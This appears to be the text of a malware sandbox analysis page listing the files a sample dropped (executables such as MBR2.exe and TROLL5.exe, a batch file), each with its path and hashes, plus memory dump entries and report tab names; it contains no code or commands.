SHA512 6c4cb42f786301be7614d4cb0b32601fea151351b0877e2371632435eb2c54bd4cd04d6b23bf4f49017ccaf679331162aac7329a1ed2409e3c2e02d0326e3487
SSDEEP 1536:CmwoXyoci5SjY3SaRO7IPqifrJxdhGZCJjmGasWhQcdQ5/hO2oFaLJ:Tv5MYRIMPqiTJx+ZqreRQ5/hXoM9
TLSH
T10A936C43B5D28CB2E5B21D311875CAA15A2FB9214E348E6B6794137E1F340D09E36FB7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MBR2.exe

Path C:\Users\Admin\AppData\Local\Temp\MBR2.exe
Size 205KB
SHA256 c22e2419f04fe03a92255a139ca8814697962e86d191a1d4171788fd0c903f68
MD5 3dc0e225f886bae3b655cd9d738ed32f
SHA1 abda127fd477bd9d051cd57b16ac13f44030a9ae
SHA512 c8a6c0bfa96defde6f83d847583ff2ec065a43f80f9886259a2d1fe7df306ef6ed7aeed61b7dcf0bdc111fc67419eb66cf1ca44e831711dd4ea7d25ed9aed09b
SSDEEP 3072:VQKrqi3qqKcjzksuicc/9Ic9hwBjQV8xWegUqijR4uTkEJxIiLt2p/YkMhapu4n4:Vruc/iuwBMV8x5gUqMR4aMiLcpj84
TLSH
T1D92423001754132EFB59C0F6019712B381EBD3AE9E1B9489F3F9921BDB6B10ED91747A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MasonClient.bat

Path C:\Users\Admin\AppData\Local\Temp\MasonClient.bat
Size 657KB
SHA256 df100e1666f9fca4da628af3328fd969ddf5426a6c69a39b84997f66b8e1a7ea
MD5 33234217cf1629b3c41f3582f8420039
SHA1 c07e7ad9158d6ec2f0fb19cb6671955ca1d53fc5
SHA512 33c3e86ea03bd67e4039e5578765a7196a5db81b0dc944416df64e7bb895f68eda861863f2d69c567257b07fbe9474386403a6678887669e48ea1df7e180e460
SSDEEP 12288:qIhYPEYNHe1fyA0IZM0bPK8O3Fx9LGoB2oj:qIOPEYOKA0mjbPK8O3FbXBN
TLSH
T1C6E4294BF653A1BCD52BC1718BAB6633B932B85C4135B97F4A14C77A7E91E000638F26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenRecording_--_--_1.mov

Path C:\Users\Admin\AppData\Local\Temp\ScreenRecording_--_--_1.mov
Size 1.5MB
SHA256 d344c5524123c5d0288969c2adce3b5d49509e9666b89bf26a324c516ef3474d
MD5 64599e898b52e58f354361e10ff972eb
SHA1 01e821b36766c0a2cf8e02a9bdeb3c7839e7f68b
SHA512 f1eff5e9e6860bb2b29c2061ae60aba3685a3da15cdbfdc77c69e06e10fbab49d74f6c3ae574cb5223b52a79d3f4573b6604b64f63b30deb48c78db131e76619
SSDEEP 24576:dsF5U+SnlF346UEq0bTdl9787DmvVp1wCk5tw9yHsDxjPDPGjsJ9czhc:CFmBlZ46UD03d/ODsVp1/k5twsHsDxzd
TLSH
T1EA7533B973B38E8AE794C9BAEDBDE3120648F1171806CB7D529639E60079DD2C084DDD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

TROLL2.exe

Path C:\Users\Admin\AppData\Local\Temp\TROLL2.exe
Size 105KB
SHA256 dcdf5140bc51db27f3aec80ae9a66a57aad446a2522904d288770e8d8cde8cee
MD5 52a2a5517deb1a06896891a35299ce20
SHA1 badcbdfef312bd71de997a7416ee20cee5d66af6
SHA512 7cb0de412c0508f5af522aeaf3731dda418f72f7cae8dd3f21b34d5cdbc08f9dea8699d59878610496c68d687227a0269739221490d70d03b8e4b84dfd29d5f1
SSDEEP 1536:A85iT6EcrYTyyAmOvu3yUyJCbT4UK7BIR:IGEcxyAF64A
TLSH
T1D6B3F6D7BE8AADA3F925133989F98319033DF7C01B828B171D31993A17176A17FC5246
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

TROLL5.exe

Path C:\Users\Admin\AppData\Local\Temp\TROLL5.exe
Size 712KB
SHA256 79f00c7dab0891824136539fabd542c74e26cbed94b9add3f1aa7f793d653de6
MD5 542a4e400ff233b21a1a3c27751ac783
SHA1 000a67f00b0003531d65a6ed6f16488ae5dcd0fe
SHA512 8335118ca0c268635d9495b331fb65800a32a0631f132cd34ce84ca3b523d0a9e23eee6d76539d0c81d86fda534da56c936914012d8bad35040b15cc8caaf645
SSDEEP 12288:cF04yK+m1Vd5IfbJQWYzBVXqKWOF+LmguP/WMYZCubHKG91MiYwd:Z4yedWfEHnWbLunWMYUaHzLY2
TLSH
T1BDF423738484A51CD6EFCE33A0F1FC3463BAFE2761198C112294EDD46AA715097CBB65
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wmsetup.log

Path C:\Users\Admin\AppData\Local\Temp\wmsetup.log
Size 1KB
SHA256 98e904493410279c0d2b9f4a5cb0f387a817c8a896785763bac4b503f1a455b8
MD5 d86ed8df5cf3d10730d90e27aaec936e
SHA1 f875b984b10464423f7b7e47b8f6759e7f883318
SHA512 97d74abb59789822976082f777792136aeab7ea501e4c07afc07ca8448b8526d36622f13490148801be6be58295c95ff766534eef6d8344ed50f66538e60ee22
TLSH
T1EA119B834A0AE4B0CD5143A369CC8A2673BAA7DA4364D026738EE02A490513E273E07E
MD5 SHA1 SHA512 TLSH

Submit Download

MatrixMBR.exe

Path C:\Windows\System32\MatrixMBR.exe
Size 250KB
SHA256 339fe94164952a8454e6ec5fc75e2c38baade2c14b231e47bf41989ffbb55ee4
MD5 24c441662c09b94e14a4096a8e59c316
SHA1 11576cad137bd8ed76efecd711c0390fe5c85292
SHA512 7f6ca1366733c5fb4925001c0846510732031a9e5f1b16291ff596187c20a88f41193389cedcb73e3928c318fc972be4f03e3cb71f1487c34642897ff9a2b590
SSDEEP 6144:XGaiVa9WL/GgkszuMO1yV8xTgUqMRQaMiBcxj8:Waisszux1yGRLHBo
TLSH
T1FD4402053F44A465D3689BB08AF3E2A782B8FD396C02D95BFD84775F2E37D0E9801265
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/252-172-0x0000000000400000-0x000000000041D000-memory.dmp

Download

memory/992-140-0x0000000000AA0000-0x0000000000ADA000-memory.dmp

Download

memory/1040-177-0x0000000000400000-0x000000000041D000-memory.dmp

Download

memory/1284-193-0x00000000000C0000-0x00000000000C8000-memory.dmp

Download

memory/1556-76-0x00007FF660840000-0x00007FF660901000-memory.dmp

Download

memory/1776-78-0x00007FF68DF60000-0x00007FF68E021000-memory.dmp

Download

memory/2228-121-0x00000000008F0000-0x00000000009DC000-memory.dmp

Download

memory/2228-122-0x0000000002A50000-0x0000000002B34000-memory.dmp

Download

memory/2408-61-0x00007FF6BFB30000-0x00007FF6BFBF1000-memory.dmp

Download

memory/2656-124-0x000000001BAC0000-0x000000001BBA4000-memory.dmp

Download

memory/2776-71-0x0000000007620000-0x0000000007630000-memory.dmp

Download

memory/2776-73-0x0000000007620000-0x0000000007630000-memory.dmp

Download

memory/2776-48-0x0000000007620000-0x0000000007630000-memory.dmp

Download

memory/2776-45-0x0000000007620000-0x0000000007630000-memory.dmp

Download

memory/2776-47-0x0000000007620000-0x0000000007630000-memory.dmp

Download

memory/2776-74-0x0000000007620000-0x0000000007630000-memory.dmp

Download

memory/2776-94-0x00000000049B0000-0x00000000049C0000-memory.dmp

Download

memory/2776-70-0x0000000007620000-0x0000000007630000-memory.dmp

Download

memory/2776-46-0x0000000007620000-0x0000000007630000-memory.dmp

Download

memory/3000-153-0x0000000000140000-0x00000000001F8000-memory.dmp

Download

memory/3000-154-0x00000000052C0000-0x000000000587A000-memory.dmp

Download

memory/3000-158-0x0000000004D20000-0x0000000004D2A000-memory.dmp

Download

memory/3000-155-0x0000000004DA0000-0x0000000004E32000-memory.dmp

Download

memory/3668-171-0x0000000000F00000-0x0000000000F46000-memory.dmp

Download

memory/3924-67-0x000001E86DCF0000-0x000001E86DD0E000-memory.dmp

Download

memory/3924-68-0x000001E86DD10000-0x000001E86DDC2000-memory.dmp

Download

memory/3924-64-0x000001E86DA50000-0x000001E86DA72000-memory.dmp

Download

memory/3924-69-0x000001E86DDD0000-0x000001E86DDDA000-memory.dmp

Download

memory/4680-0-0x00007FFB528AF000-0x00007FFB528B0000-memory.dmp

Download

memory/4680-3-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

Download

memory/4680-9-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

Download

memory/4680-59-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

Download

memory/4680-4-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

Download

memory/4680-1-0x00000000008D0000-0x0000000000B34000-memory.dmp

Download

memory/4680-39-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

Download

memory/5704-77-0x00007FF68DF60000-0x00007FF68E021000-memory.dmp

Download

memory/5704-156-0x00007FF68DF60000-0x00007FF68E021000-memory.dmp

Download

memory/5704-104-0x00007FF68DF60000-0x00007FF68E021000-memory.dmp

Download

memory/5704-100-0x00007FF68DF60000-0x00007FF68E021000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads